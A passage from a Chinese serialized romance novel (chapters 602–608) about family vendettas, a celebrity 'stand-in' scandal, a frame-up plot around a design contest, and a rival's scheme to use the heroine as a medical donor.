他参加了苏薇的葬礼,眼底都是对傅长安的恨意,苏家也暗恨苏薇败坏家风,不许苏薇入祖坟,是傅长海压下这件事,并跟苏薇举行了冥婚,即便如此也要娶她,将她葬在傅家祖坟中,亲手为她刻了墓碑。 而苏薇生下的女婴也就成了他的女儿 他有多爱苏薇就有多恨傅长安。 她本想恨那个孩子,可偏偏她长得太像苏薇,她看到她的脸就会想到苏薇。 所以他将一切的希望都寄托到女儿身上,并取名“傅嘉誉”。 他将傅嘉誉教的很好,他疼她宠她,不想她被迫牵扯到上一辈的恩怨,纵然他跟傅嘉誉没有任何血缘关系,可在他眼里傅嘉誉就是他唯一的女儿,他最疼的女儿。 但他对傅长安的恨从未停歇。 他不止恨傅长安,他还很苏梅为什么要嫁给傅长安,如果她不嫁给傅长安那苏薇就能嫁进傅家。 他将夫妻二人恨了个彻底,哪怕两人死后也不能消解他心头的恨意。 所以他才会想要抢夺傅氏,让自己的女儿继承傅氏,这样就好像是苏薇得到了傅氏一样。 只有这样他才觉得对自己是一种解脱。 上一辈的恩怨他从未跟傅守越和傅嘉誉讲过,他不愿有任何人议论苏薇,在他眼中苏薇就是最好的。 所以他不会退让不会低头。 傅守越没能劝动傅长海,只能承诺自己一定会护好傅嘉誉。 傅长海微微闭上眼眸,长叹一口气:“好了,你出去吧,以后的事我会亲自做,你不必沾手。” 往后的事,他亲自做,傅守越要干干净净的护着他们的女儿,干干净净的去爱他和苏薇的女儿。 傅守越离开书房后,傅长海才颤抖着手从钱包中取出一张复古有年代感甚至已经不甚清楚的黑白照片。 照片中的女孩眼尾弯弯的笑着,和傅嘉誉的相貌好像逐渐重叠。 …… 傅长海明面上答应傅嘉誉的提议,但背地里却丝毫不肯退让。 直到两人离开老宅,傅长海才拨通了许宁的号码,报了个地址让她赶过去见一面。 无他,许宁是个又蠢又坏又很好用的棋子,只要给够足够的报酬,她可以毫无下限的做任何事。 傅长海选择了一个隐秘的地方,地点定在他郊区的别墅。 许宁知道要见自己的是傅长海后特意打扮了一番,早到了二十分钟,以免让傅长海对自己观感不好对自己有意见。 只是见到傅长海第一眼,许宁就觉得浑身发冷,有些忍不住的颤抖。 她感觉傅长海的眼睛像是蛇的眼睛,阴冷可怖,浑身鸡皮疙瘩不停往外冒,有些不受控制的想跑,但对未来的渴望还是让她压下了内心的惶恐和害怕。 她面上露出了温婉的笑容,只是她勉强撑起的笑容却遮不住她内心的慌乱。 傅长海只看了一眼便淡淡开口:“你怕我。” “怎么会……”许宁尴尬的笑着。 “不必演了,你是个什么水准的东西我再清楚不过。” 傅长海虽然坐在轮椅上,可却完全没有居于下风,仍然处于绝对的上位。 许宁有些慌,越心急小动作就越多,抬手抚了抚鬓角,眼神也有些四处乱飘。 “听说你是学设计的?” 许宁僵硬的点点头,不明白傅长海为什么问自己这个。 傅长海嗯了一声:“是学设计的就好,过阵子有一场设计比赛,我需要你去参加,到时我会传给你一份设计图,你就拿那份图参加比赛。” 许宁不解,但也不敢问,可不知道为什么总有种不好的预感。 可若是面前的人是傅守越她还敢据理力争,换成傅长海,她根本不敢多说一句,她是真的怕多说一句惹得傅长海不快。 第603章 他们真般配 “请问我是一定要参加这场设计比赛吗。” 许宁开口声音仍带着颤音。 显然对傅长海还是心有芥蒂。 傅长海眸色不变,淡淡道:“你必须参加这场比赛,你不需要知道原因,你只要记得等拿到我给你的设计图,无论谁问你都必须说这设计图是你所作。” 许宁内心一寒,应了一声,根本不敢反抗傅长海。 等许宁离开,傅长海才目光幽暗的看着电脑上的资料。 资料界面最上面的就是一张放大的照片,照片中的女人漂亮甜美,笑起来时颊边有甜甜的酒窝,像是被宠到大没有遇到过任何阴霾没有见过社会阴暗面的小公主。 就像最初的傅嘉誉一样。 陆杳杳,陆斯年的亲妹妹。 海外知名设计师丹尼尔的学生,已经报名参加国际设计赛事。 陆斯年和许愿都很疼爱的妹妹,这辈子都没遭遇过什么坎坷事,哪怕当初陆家没落也有陆斯年撑着。 傅长海不告诉许宁具体原因,就是要利用许宁来设计陆杳杳。 如果陆杳杳出事,陆斯年和许愿会坐视不理吗?许宁又是傅京礼的人,他太了解傅京礼,太重感情。 许宁对他的某些恩他能记一辈子,所以许宁出事他不会坐视不理,只等傅氏对上盛华。 如果傅氏不能由自己的女儿继承,那傅氏也就没有存在的必要了。 …… 许愿回国才知道这个月温栩栩数次登上热搜,甚至多次跟影后颜佳雨同时在榜,还有个最明显的热搜词条。 #温栩栩小颜佳雨# 只是看到这个词条就将许愿的注意力彻底吸引,在这个圈子没有任何人愿意当另一个人的替身。 温栩栩只是温栩栩,不会是谁的替身。 可这个词条就是故意说温栩栩凭借着一张肖像颜佳雨的脸在娱乐圈闯荡,算是对温栩栩的侮辱。 这些倒也算了,直到看到网上有关于黎云笙和颜佳雨曾经校友的一些贴文。 贴文提到黎云笙和颜佳雨曾经算是一起长大的青梅竹马,大学时期更是天造地设的一对儿,两人在同一个社团,对外人高冷的黎云笙也只对颜佳雨温柔,甚至颜佳雨班级的学生都收到过黎云笙送托人送的奶茶和点心礼物,只是希望这些人能好好照顾颜佳雨。 贴文里贴满了两人大学时期的照片。 【谁还不知道我们学校超有名的一对啊,黎学长和颜学姐绝配啊!】 【霸总和影后,天了噜,他俩必须是真的啊!】 贴吧里面无数人在支持两人在一起。 许愿将目光落到那些照片上。 在贴吧的相册里,颜佳雨和黎云笙的照片仿佛是时光机,带着她回到了那些属于她们两人充满青春气息的日子里。 有颜佳雨弯起眼睛对黎云笙笑着的,她的眼睛明亮如星辰,嘴角勾勒出一抹温柔的弧度。她的笑容纯净而自然,仿佛春天里盛开的第一朵花。阳光洒落在她的脸上,为那灿烂的笑容增添了几分灵动的光辉。黎云笙在一旁静静地看着她,眼神中充满了宠溺与欣赏,仿佛整个世界都缩小成了眼前的这个笑容。 又两人在雨中漫步的照片,颜佳雨和黎云笙共用一把伞,在细雨蒙蒙的小径上并肩前行。雨水顺着伞面滑落,形成了一道道晶莹的水帘,将外界的世界隔开,营造出一种朦胧而又浪漫的氛围。颜佳雨紧挨着黎云笙,两人的肩膀偶尔轻轻碰撞,溅起点点水花。他们的眼神交汇处,有一种无需言语的默契与温暖,仿佛在这个小小的世界里,只有彼此的存在才最为真实。 在运动会的照片中,颜佳雨站在跑道旁,手中拿着一瓶矿泉水,目光专注地注视着正在赛场上拼搏的黎云笙。她的表情中透露出一丝紧张与期待,仿佛每一次他的起跑、冲刺都牵动着她的心弦。 而黎云笙则全神贯注于比赛,肌肉线条随着动作流畅地展现出来,汗水在他额头上闪烁,如同镶嵌了无数颗细碎的钻石。这张照片是拼接的,一张是颜佳雨看向远方黎云笙的方向,而黎云笙则是在跑道,两人明明并没有站在一起,但就是能让人感受到远超与旁人的暧昧和默契。 校园晚会的照片记录下了颜佳雨和黎云笙共同舞蹈的美好时刻。舞池中央,两人身姿轻盈,伴随着悠扬的音乐翩翩起舞。颜佳雨身穿一件淡蓝色的长裙,裙摆随风飘动,宛如夜空中最柔和的一抹月光。黎云笙则以优雅的姿态引领着她,每一个旋转、每一个步伐都显得那么和谐完美。灯光下,他们的影子都交织在一起。 这些照片不仅仅是视觉上的享受,它们更像是一首首无声的诗,讲述着关于颜佳雨和黎云笙之间成长与爱情的故事。 许愿看到这些照片,突然就明白……黎云笙为什么会选温栩栩了。 因为卸下伪装的温栩栩,跟颜佳雨有三分相似,只是比起颜佳雨,温栩栩骨相更好,五官更精致。 许愿看到这些照片都会有瞬间的茫然,那温栩栩呢?她看到这些照片难道不会受伤吗? 黎云笙又是抱着什么样的目的去靠近温栩栩? 网络上遍地都在说黎云笙和颜佳雨绝配,天定的姻缘,CP粉都数不胜数。 如果温栩栩没有跟黎云笙结婚,如果黎云笙不是她的丈夫,那她绝对不在意这些,或许还会随一句,真般配。 许愿眸光暗了几分,她现在在盛世的研究院的办公室,段星河推开门进来就见她在愣神,人都已经走近了也没见许愿有什么反应。 直到看清楚许愿屏幕上有关黎云笙和颜佳雨的贴文八卦。 “怎么在看这些?” 段星河将刚推算的数据资料放到她桌上,开口道:“这消息都已经传了一段时间了,你才知道?” 许愿顿了下:“传了一段时间?传了多久。” 段星河摸摸鼻子想了下:“大概就是你出发去见苏青莲的时候开始的,你先等会儿,你还没跟我说苏青莲有没有说些什么呢。” 第604章 谁惹他家小祖宗了 段星河来找许愿的主要原因就是为了苏青莲 许愿微微垂眸:“我晚点跟你说,现在还有事,先走了。” 话落,许愿已经离开盛世。 段星河啧了一声,目光落到电脑屏幕上,屏幕上黎云笙跟颜佳雨看着那么般配登对。 段星河对温栩栩的印象其实还挺深的。 毕竟都是人,人都是肤浅的,没有人不喜欢漂亮皮囊,长得漂亮才会让人有进一步接触的欲望。 温栩栩和许愿都是很漂亮的类型。 但许愿是内核很稳的人,纵然是被伤到体无完肤也会自己找到一个活着的希望和理由,她是悲观主义和乐观主义的结合体,永远不会让自己落于下风。 温栩栩不同,温栩栩在许愿面前是很乖的,甚至像是在伪装自己身上的野性和极强的攻击力。 她的演技是很好的,就是能演出那种乖巧的劲儿来。 但卸去那些伪装,真正的温栩栩是明媚的,肆意的,张扬的,好像就是要告诉所有人我就是要漂亮就是要美就是要活的足够精彩,哪怕只有一天那也要漂漂亮亮的盛开漂漂亮亮的离开。 一定要说温栩栩有什么梦想追求,一是许愿,二是她的明星梦。 许愿是她想守护的,是她的执念,可以说对温栩栩这种人可以为了许愿做出任何事。 而明星梦,仅仅是因为温栩栩喜欢站在舞台站在荧幕的感觉,她觉得自己天生就该是光芒万丈的。 她就是这样活的热烈的人。 可若是真的遇到什么事,她很难对谁开口,像是那种会把一切闷在心里的人。 哪怕是爱一个人,她可能都不会开口说爱。 不爱的时候可以开玩笑的说喜欢你,爱你啊,你是我最重要的人,真正的爱上后她会小心翼翼,会担心受伤,就像现在的温栩栩对黎云笙。 段星河作为旁观者看的太清楚了。 他轻呼一口气,但愿黎云笙眼不瞎,不要伤害温栩栩。 不过…… 真的有点过于离谱。 他觉得自己接触的清一色的都是恋爱脑,无一例外。 许愿、温栩栩、盛景炎、哪个不是恋爱脑?苏青莲唐清江更不用提。 怎么的?长得越好看颜值越高越容易恋爱脑吗? …… 段星河在那里天马行空的时候许愿已经开车去温栩栩和黎云笙的别墅,路上许愿就已经想了很多。 几乎是前脚她离开A市离开华国,下一秒就有人开始针对温栩栩了吗? 怕是有些人知道她是温栩栩的后盾,所以趁着她不在肆意伤害她。 可黎云笙为什么不回应?为什么不撤热搜,为什么不澄清跟颜佳雨之间的关系,为什么不举报贴吧举报那些CP超话?还要那些一直在那里挂着? 他的妻子是温栩栩,他的爱人是温栩栩,他这样无动于衷是担心颜佳雨受到伤害吗? 对。 的确如此。 他不开口不回应就等同于默认自己是颜佳雨的靠山?那娱乐圈的人想要动颜佳雨就都要掂量掂量了。 且最重要的一点还会让颜佳雨的粉丝愈发扬眉吐气甚至大肆宣扬自己的偶像是黎氏总裁爱着的女人,无异于捧高了颜佳雨。 这一切对颜佳雨没有半点坏处。 那温栩栩呢?平白的受了这些伤害。 作为妻子作为爱人却眼睁睁的看着自己的丈夫在网络上爱着另一个女人,而自己还被称为那个女人的替身。 多可笑? 倒衬得温栩栩成了笑话。 可凭什么呢? 许愿忍不住代入了自己和盛景炎,若是盛景炎将自己当成替身才追求自己,结婚后在娱乐圈还有个红颜知己随着对方炒作组CP,她几乎是立刻就会提离婚的程度。 越想越生气,正巧是红灯,许愿将车子停到路边,拿出手机给盛景炎发了条信息。 盛景炎正在盛世开会,就听到手机上给许愿设置的专属铃声响了,以为是许愿有什么重要的事情要找自己,或者是想自己了,赶紧点开手机。 结果就看到一句话。 【许愿】:渣男。 【许愿】:你是不是拿我当替身了? 【许愿】:背着我有其他人了? 【许愿】:混蛋! 盛景炎:“?” 他怎么就又渣男又混蛋了?是哪里惹到许愿了? 盛景炎怎么也看不懂许愿这一通是什么意思了。 他以前那些红颜知己都是逢场作戏啊,这些都解释过了,还是谁又去许愿面前嚼舌根了? 至于替身?谁配让她做替身啊! 盛景炎也没等开完会,事实上会议已经到尾声了,只要各部门将报告交上来就可以,盛景炎收到信息就离开会议室给许愿拨过去。 被挂断电话了。 盛景炎:“……” 谁惹他家小祖宗了? 虽然不知道原因,但是先道歉绝对没错,不过现在道歉不太合适,还是需要准备好礼物晚上回去后再好好哄。 现在会议已经彻底结束了,陈飞豪跟助理吩咐着工作就见盛景炎还在外面,他刚才见盛景炎着急走还以为有什么急事,没想到出来就见盛景炎还在这里。 “怎么没走?” “有点事”盛景炎问:“我记得今天有场拍卖会?” 陈飞豪见他对拍卖会感兴趣忍不住笑了两声:“你这是想给许愿送礼物吧,这次拍卖会上听说珍品还挺多的,黎云笙好像也会去,说不定你俩能遇见。” 盛景炎也觉得巧,已经做好打算去参加拍卖会了。 这种A市上流圈层的拍卖会想要参加都是需要邀请函或者花费大量金额购买入场券的,巧的是盛景炎确实收到了邀请函,不过之前他没当回事罢了,刚巧可以走一趟。 唐文晞送了许愿那么多礼物,他作为许愿的爱人,总不能输给唐文晞。 …… 网络上到处都是颜佳雨和黎云笙的消息,好像衬得温栩栩完全成了外人。 黎云笙也因为颜佳雨受伤住院很久没有回来。 温栩栩难得休假就看到黎云笙和颜佳雨再度上了热搜,热搜上霸榜的就是两人当初在学校的恋爱故事。 {谁能懂啊,当年高中的时候黎学长和颜学姐两人就因为疑似早恋被交过家长,不过黎学长家没人来,还是黎学长用成绩打脸了教导主任,两人每次成绩优异,后来主任才不再提这件事了,有没有人懂,颜学姐成绩其实并不算好,但是当年能考出580的高分凭着这个分数在娱乐圈捞了个学霸人设全是因为黎学长辅导的啊!} 第605章 阿愿,我不开心 {黎总在圈子里是出了名的冷脸霸总,但是在颜佳雨面前一直都是温柔体贴的,你们自己看黎总长了张冷漠霸总脸,但事实上黎总什么都为颜佳雨考虑好了。高中时期又是富家子弟,但就是能够给她准备好一切,哪怕月考的草稿纸和替换的水笔都一应准备好,就是因为颜佳雨有一次忘记带笔,自那以后黎总每次都会为颜佳雨安排妥当。颜佳雨有胃病不爱吃早饭,黎总就会每天带上早点,每次课前都能看到颜佳雨被他哄着吃早餐,下雨天也必带雨伞,因为颜佳雨不喜欢带伞……甚至!黎总高中时期还会随身带卫生巾,课桌内会随身备着干净的黑色裤子。你们能理解吗?也是因为颜佳雨!我为什么知道的?因为我就是那个突然生理期弄脏裤子的女生,在我还没有发现的时候黎总用书本夹了卫生巾递给我,甚至装了衣服的袋子也给了我,我那时候就懂了!因为颜佳雨就有几次就是上午穿着浅色的裙子,然后突然换了黑裤子,甚至黎总还给她泡了红糖姜水!就因为这个我嗑他俩好多年,黎总绝世好男人,他怎么可能不喜欢颜佳雨?多少人老公都做不到这份儿上啊!} {靠,看了楼上的回答,我就说颜佳雨那会儿怎么突然的就换了黑裤子了……我真服了,那会儿高中时期多少男生还觉得这些很丢脸难以启齿的时候黎总就已经这么与众不同了吗!他俩绝配啊!} {最好磕的难道不是黎总一直支持颜佳雨的事业吗?黎总最开始就没打算涉足娱乐圈,但因为颜佳雨学了表演才接触娱乐圈创建了娱乐公司,黎氏娱乐签约的第一个艺人就是颜佳雨,且颜佳雨爆火后黎氏娱乐就恭喜她创建独立工作室,且颜佳雨离开黎氏后黎氏还是一直给她塞资源,你们就看吧,黎氏多少爆的资源是为颜佳雨打造的!} {颜佳雨第一步参演的电视剧就是黎氏出品投资,颜佳雨在娱乐圈多少人看不好她觉得她不适合拍电影的时候又是黎氏亲自收购剧本为她创建团队拍下了颜佳雨第一部大荧幕电影并让她凭借那部电影获得最佳女配奖项,可以说颜佳雨能有今天全都靠黎总!} {呜呜呜,老公捧老婆怎么了!就捧就捧!} {你俩今天就结婚行吗!你们都不是真的那我就真的不相信爱情了!} 微博上,贴吧上,到处都是两人的消息,CP粉到处乱舞,都在疯狂喊着在一起。 颜佳雨已经三十多岁,虽然看着还是一样漂亮,但在女星里面已经不算年轻了。 既然是颜佳雨的粉丝,一边不希望偶像结婚,一边又希望偶像遇到好归宿。 黎云笙有多好,网友已经解答了,他支持颜佳雨的事业,理解颜佳雨爱护颜佳雨,甚至他本人有自己的事业,黎氏在国内都属于上流圈层的大家族,而黎云笙更是黎家嫡系继承人,身高相貌在她的粉圈简直是完美的存在,谁还会反对? 温栩栩就缩在房间里看着这些信息,一边看一边笑,桌上已经是数不清的空酒瓶了。 她看着这些都觉得黎云笙对颜佳雨是真的很好啊,如果她是颜佳雨,她也会觉得黎云笙是绝世好男人啊。 可她不是颜佳雨。 她是黎云笙的妻子。 网络上那么多的人都在说两人般配,却没有人知道黎云笙已经结婚,结婚的对象就是她这个小颜佳雨。 她就说……当初黎云笙怎么那么轻易就上钩跟她滚到一起呢? 黎云笙这个人这么冷情,不会是单纯见色起意的人。 他会同意她自荐,仅因为那时的她太像他年少记忆中的颜佳雨了。 他跟她睡在一起时都在想着谁呢?想的是颜佳雨吗? 怪不得……怪不得当初那么多次,黎云笙都会蒙住她的眼睛,或者让她背对着她的姿势。 他们的爱欲没有爱只有欲。 替身。 哈,她竟然真的成了别人的替身。 她明明说过的,她明明对黎云笙说过她不做任何人的替身!她是她,她就是温栩栩!为什么要这么残忍的对她? 她当初可以离开的,她没想结婚,是黎云笙习惯了一切,是黎云笙知道颜佳雨有了未婚夫,且未婚夫是他同父异母的私生子哥哥所以才不肯放她走。 多狠啊。 在她还没有动感情的时候强迫的将她留在身边,却在她动感情后让她知道她只是一个替代品。 她不是妻子不是爱人,倒像是玩物宠物。 别墅的大门门铃一直在响,她已经喝的烂醉了,却还是跌跌撞撞的扶着墙下楼去开门。 她以为会是黎云笙。 她想,这么久了,他终于肯回家了吗。 可打开房间的一瞬,看到站在门边身材纤细高挑的身影,看到那张熟悉明艳的面容。 温栩栩喝了那么多的酒,边翻看黎云笙和颜佳雨的过去边喝酒都没有哭出来,她觉得难过但在压抑。 但是看到许愿的那一刻,终于控制不住自己的眼泪。 她在哭。 很伤心的哭。 她们几乎是一起长大,温栩栩从没有哭过,可现在她在因为黎云笙哭泣。 温栩栩扑过去抱住许愿,声音哽咽,眼泪不停滚落在许愿的肩膀。 “阿愿……” “我在呢。”许愿拍了拍她的后背,像是在安抚,但是心已经揪成一团,她甚至想自己现在就找人去将黎云笙绑回来给温栩栩一个交代。 “阿愿,我不开心。” 哪里是不开心呢?明明是很难过。 许愿听着她这样失落的声音,仿佛自己印象中那个小太阳一样的女孩渐渐消失了。 她可以活泼可爱,可以明媚阳光,可以骄傲肆意,但不能像现在这样只能躲在角落里偷偷伤心难过。 “栩栩,我都知道了。” 许愿看着面前满脸泪痕的温栩栩,伸出手擦拭着她眼角的泪水,可刚擦完眼泪就会再次滚落。 “你没有做错任何事,错的是黎云笙,错的是颜佳雨。” 第606章 她的后盾是许愿 “你都知道了。” 温栩栩这句话是陈述句,她喝了不少酒,此刻有点呆呆的,听许愿说这些她便更委屈了。 许愿和温栩栩的感情不是谁都能随便比的,温栩栩算是许愿幼年时候捡回家的,那时许镇江为了能让许愿听话这种小事他从不去管,她们两个才是真的一起长大。 那时候的许愿背后没有人可以依赖,温栩栩同样。 可后来的许愿有了很多可以交心的朋友,温栩栩还是只有许愿,她甚至没有什么可以真的付出一切道尽一切的朋友,甚至真的难过委屈的时候她都不敢告诉许愿,她甚至会觉得自己没用。 她明明已经很优秀了。 哪怕遇到这次的事,她是茫然的是慌张的却不愿去为这种事麻烦许愿,她还是想自己一个人硬抗,直到许愿找到她,告诉她,一切不是她的错,她才像是终于找到了可以完全信赖依赖的人一样,眼泪根本止不住。 “我就是不明白,为什么要这么对我呢。” 她已经被许愿扶回到房间,双眼有些无神的喃喃,估计粉丝来了都认不出这会是在舞台在荧幕上发光发热的偶像。 “我想离开,他不肯让我离开,是他一定要结婚的。” “我说过,我不会当任何人的替身……可为什么要骗我呢?” “明明有爱的人,却还要跟我结婚,我又算什么?” 她声音中都透着明显的挣扎,脸色越来越白,就这样声音很轻很轻的,似乎因为许愿在身边已经逐渐睡去。 温栩栩是骄傲的,纵然身后除了许愿空无一人她也是骄傲的。 她不相信爱情那种虚无缥缈的东西,她从来都是理智的,最初跟黎云笙那几年她也是完全看作是交易。 不过她算错了一点。 人心不是轻而易举就能控制住的,当她没有意识到的时候她已经将黎云笙完全放到心上。 在一起睡了那么久的人,怎么可能真的没有一点感情,是她高看了自己。 可她是骄傲的,她知道及时止损,她想要离开,因为她清楚自己是什么身份。 黎云笙好像是天,而她随随便便就可以被才进泥地中,没有身份的加持,没有绝对的背景,她有什么?无非是烂命一条。 她没想过和黎云笙纠缠那么久,甚至结婚也不是她提出的。 她从未想过能跟黎云笙结婚,或者说没有想过跟任何人结婚。 她想的就是等到许愿真的站稳脚跟,她就去追求自己的梦想,然后身边有许愿这样的朋友亲人就够了,从未奢望更多。 是黎云笙打破了她为自己勾勒的未来蓝图,强行用许愿逼着她进入他的世界逼她结婚。 可为什么要将她看作是替身,为什么要这样对自己。 她声音很轻的呢喃,像是自言自语的问,为什么。 为什么打乱她本该平静的生活,为什么逼她结婚却又不肯真的爱她,为什么要将她看做替身。 她是温栩栩,也只是温栩栩,从不是谁的影子。 许愿一直在温栩栩身边,她看着床上已经沉沉睡过去的温栩栩,止不住的心疼。 可事情已经到这一步,必须有个决断。 …… 拍卖会现场。 盛景炎来参加拍卖会时果然不出意外的遇到了黎云笙,不过巧的是黎云笙不是一个人,他身边还有一个颜佳雨。 盛景炎当然知道颜佳雨的身份,虽然是普通人但就是能让黎云笙将她放心上这么多年,可以说是黎云笙的白月光。 当初他数次以为这两人会结婚,没想到黎云笙车祸后颜佳雨火速跟他那个同父异母的私生子哥哥在一起并订婚。 盛景炎并不喜欢颜佳雨,甚至说,半点都瞧不上。 在他看来颜佳雨可以随时为了利益舍弃黎云笙,能有什么真情。 可黎云笙执着,他一直坚信颜佳雨还是他印象中的那个女孩,从未停止过帮助颜佳雨,哪怕颜佳雨跟黎云浩订婚,黎云笙也在给她喂资源。 盛景炎想到许愿的朋友温栩栩才是黎云笙的妻子,他眸光闪了闪。 两方碰面,盛景炎目光落到黎云笙身边的颜佳雨身上,眼神中颇带着些许以为身上。 “怎么没带温栩栩来?如果我没记错,温栩栩才是你的妻子。”盛景炎言辞有点犀利:“这位颜小姐好像有未婚夫。” 话说到这里,像是突然才想起来似的开口:“倒是我忘记了,黎云浩还在江夜回那里扣着没被放出来。” “所以是黎云浩不在,你才来找黎云笙?” 盛景炎几乎是半点面子都不给颜佳雨,就差说她水性杨花,黎云浩人还在江夜回手里被困着,她倒是可以没事人一样来勾着他兄弟这个有妇之夫,让人觉得恶心。 颜佳雨面上有些尴尬,但还是开口:“我虽然有未婚夫,不过我跟云笙也是朋友,来一起参加一场拍卖会也不算是什么大事。” 她找着借口,显然也知道盛景炎惹不得。 “那我希望真的只是参加拍卖会,拍卖会结束后不要又有一群人追着说你们在这里约会,而云笙又是如何在乎你宠你的。” “毕竟云笙有妻子,你有未婚夫,凑到一起怎么都算不上好看。”盛景炎提醒:“你的粉丝不知道这些,你们却应该知道,不要做错什么无法挽回的事。” 说是提醒,倒不如说是警告。 颜佳雨的脸色果然黑了一瞬,唇角的笑意也愈发僵硬了。 颜佳雨有点委屈的看向黎云笙,黎云笙顿了下开口:“景炎,别再说了,我和佳雨只是朋友。” 盛景炎真想嘲讽一句真的只是朋友?就算你把颜佳雨当朋友,可颜佳雨不一定这么想的。 他太理解这个女人,阴狠狡诈心思深重。倒显得他这个好友单纯好骗了。 盛景炎本想说更多,但已经有人的目光一直放在他们三人身上,盛景炎思索再三没有继续嘲讽,却也没跟黎云笙坐一起,显然是因为颜佳雨的事情有些不想理人。 颜佳雨愈发委屈的跟在黎云笙身边。 “云笙,盛先生是不是不太喜欢我。” 第607章 说到的一定会做到 盛景炎何止是不喜欢颜佳雨,都可以称作是厌恶。 且不说黎云笙已经结婚,结婚对象还是他爱人自小一起长大的朋友温栩栩,从这一点上就足够厌恶颜佳雨。 更不要提颜佳雨一直都只将黎云笙当做工具。 她对黎云笙真的有爱,就不会在最初黎云笙最需要她的时候跟黎云浩订婚。 颜佳雨这种女人心里没有任何人,只有她自己。 黎云笙当然知道盛景炎是什么意思,他一边觉得盛景炎有些过分,可却也不清楚盛景炎说这些是为他。 黎云笙目光缓缓落到身旁女人的身上,她似乎还在委屈等他的安慰,就像从前那样。 可是他恍恍惚惚透过她的身影仿佛看到了温栩栩的身影。 看到她在伤心在难过在一遍遍问他为什么。 黎云笙喉间微微发堵,嗓音带着点哑意。 “温栩栩是许愿的好友,我是温栩栩的丈夫。” 这句话并不是安慰,是在告诉颜佳雨温栩栩是什么身份。 颜佳雨脸上的笑容愈发僵硬,甚至僵硬到快要挂不住了,好在拍卖会即将正式开始,她只能转着话题跟黎云笙相携进场,只是离开前还不忘转身朝某一个方向看了一眼,待看到某些人后她的脸上才重新露出笑容。 她跟黎云笙来参加拍卖会不只是因为她看上了拍卖会上的某些东西,更是因为她想要再次重击温栩栩。 所以她故意选在这个时间,故意请了狗仔偷拍照片。 她知道温栩栩能够刷到这些消息。 等她刷到的时候她就会知道当她一个人休假伤心难过的时候她的丈夫在陪着她。 她就是要让温栩栩有这种心理落差让她难过,也算是侧面警告温栩栩,黎云笙是她的男人,就算他们结婚了,那也是心里只有她。 这是她和温栩栩之间的较量。 拍卖会正式开始,但现场气氛并不算融洽。 因为黎云笙看上的东西,盛景炎都会跟着叫价,场上的人都是人精,看到这两人如此都没有跟着继续叫价,只因为两人身份摆在这里,没有人会正面跟他们起冲突去争什么拍品。 只是黎云笙和盛景炎关系那么好,怎么也会故意跟黎云笙唱反调?也没见这这两人闹矛盾啊。 一群人都在乱猜,视线不停在两人身上游移扫射。 反倒是视线中心的两人依旧淡定,好像被这么盯着看的不是他们两人一样。 黎云笙没有要跟盛景炎争的意思,他本来也对这里的东西没兴趣,是颜佳雨想来参加这场拍卖会才会来,好在颜佳雨没有任性到一定要黎云笙看中的拍品。 今晚拍到最多东西的反倒是盛景炎。 他甚至在拍卖会结束后提醒黎云笙,让他记清楚他的妻子是温栩栩。 黎云笙眸光微暗,送颜佳雨回去的路上,颜佳雨一直没有主动开口说话,直到车子开到别墅楼下,她没有立刻下车,而是握住黎云笙的手扑进他怀里。 开车的司机不敢多看,赶紧低下头。 “阿笙,我没有想伤害任何人的意思。” 她声音中似乎带着几分哽咽之意。 “我只是很难过,我们从前关系那么好,明明我们才该……”颜佳雨的话说到这里,却又觉得自己不该说这些,眼底都带着几许苍凉和可怜,眼神都带着悲痛。 她想说什么,想说明明我们才该在一起才该结婚,而不是让温栩栩入局嫁给他。 黎云笙能感受到怀中女人的身体是柔软的,她同样也在害怕也在发抖。 他沉默的握住她的手腕将人甩到车座旁边,目光带着几分淡漠之意。 “佳雨,我们不能这样。” 颜佳雨错愕的看着他,手心都不住的紧握。 “你是觉得我说错了吗?你也知道我们一起经历过多少,我们之间的感情难道是假的吗,你说我们不能这样,就只单单是为了温栩栩吗……” 她几乎不敢置信。 在她心里,她从不会将温栩栩真的当做是自己的敌人。 因为温栩栩只是她的活体移动血库,她甚至都没将温栩栩这条命放到眼里,自然不在乎温栩栩和黎云笙那可有可无的婚姻关系。 “佳雨,我的妻子是温栩栩,你的未婚夫是黎云浩。”黎云笙目光一错不错的看着她:“这才是现实。” 哪怕以前的感情是真的也抵不过现实。 错过就是错过,说再多也是没用了。 “你就是在怨我当初选了黎云浩,对吗。”颜佳雨脸上已经有了泪意,她哭着开口:“你知道很多事我是没办法选择的,就算我心里的人是你,可我还有家人,他们不会允许我选择那时候的你……为什么一定要因为我一时错误的选择要怪罪我这么久……” 黎云笙目光沉沉的看着在自己面前哭泣的女人,他也只是怔了一瞬便开口。 “当初的事已经过去,我们都是成年人,都该为自己的选择负责。” 颜佳雨唇角的笑意都带着几分苦涩之意,像是在笑自己。 “好,我知道了。” 颜佳雨抹了把脸上的眼泪,自嘲的笑了,而后缓缓开口:“你还记得你答应过我的事情吗。” 她忆起黎云笙现在对温栩栩有多好,还是控制不止的开口询问:“你说过的,会给我一个健康的身体,会治好我的病,你没有忘记对吗。” 她多担心黎云笙因为跟温栩栩接触太久真的被触动然后放弃这个最适合的供体。 她早已经将温栩栩的命看做是她的,所以她不能允许黎云笙对温栩栩有任何怜悯恻隐之心。 黎云笙是她的男人,温栩栩也只能是供体。 面对颜佳雨的逼问,黎云笙摩挲了下指尖,脑海中闪过的却是温栩栩那张狡黠中带着笑意的表情,像是偷腥成功的红毛狐狸,此刻还在他脑中不停地窜着跑着,只是下一瞬,那只红毛狐狸就蔫蔫的瘫在地上被放光了身体的鲜血,眼底充斥的是汹涌的令人心惊胆颤的恨意。 黎云笙抿唇,片刻后开口:“我不会忘记对你的承诺,说到的一定会做到。” 第608章 为了温栩栩 颜佳雨得到肯定准确的回答,她抹去眼角的泪水,终于还是笑了。 “我知道的,云笙答应我的一定会做到。” 颜佳雨终于放心下,她不再担心的下车。 直到黎云笙的车子驶远再也看不到了,她才“哈”的笑出声。 瞧瞧,温栩栩做再多在黎云笙这里也只是个随时可以被废弃的棋子。 至于她说的,当初是家中亲人逼迫她跟黎云浩订婚的事更是无中生有。 当初黎云笙出事她的父亲甚至要立刻让她跟黎云笙订婚,不许她做出任何有可能伤害到黎云笙的事。 是她自己选择了黎云浩,根本没有人逼她。 她是如何对家人说的,她说是黎云笙不愿耽误自己才会如此。 从始至终都是她自己的选择。 只是她没想到黎云笙没死没残,只是身体有些虚弱,可她不会后悔自己的选择,身体虚弱迟早会在这次的竞争中失去优势,纵然黎云笙现在是黎氏话事人真正的掌舵者,可以后的事没有人能说得准。 而温栩栩呢?她甚至觉得黎云笙娶她不过是想给她点补偿,让她在离世前享受一把罢了。 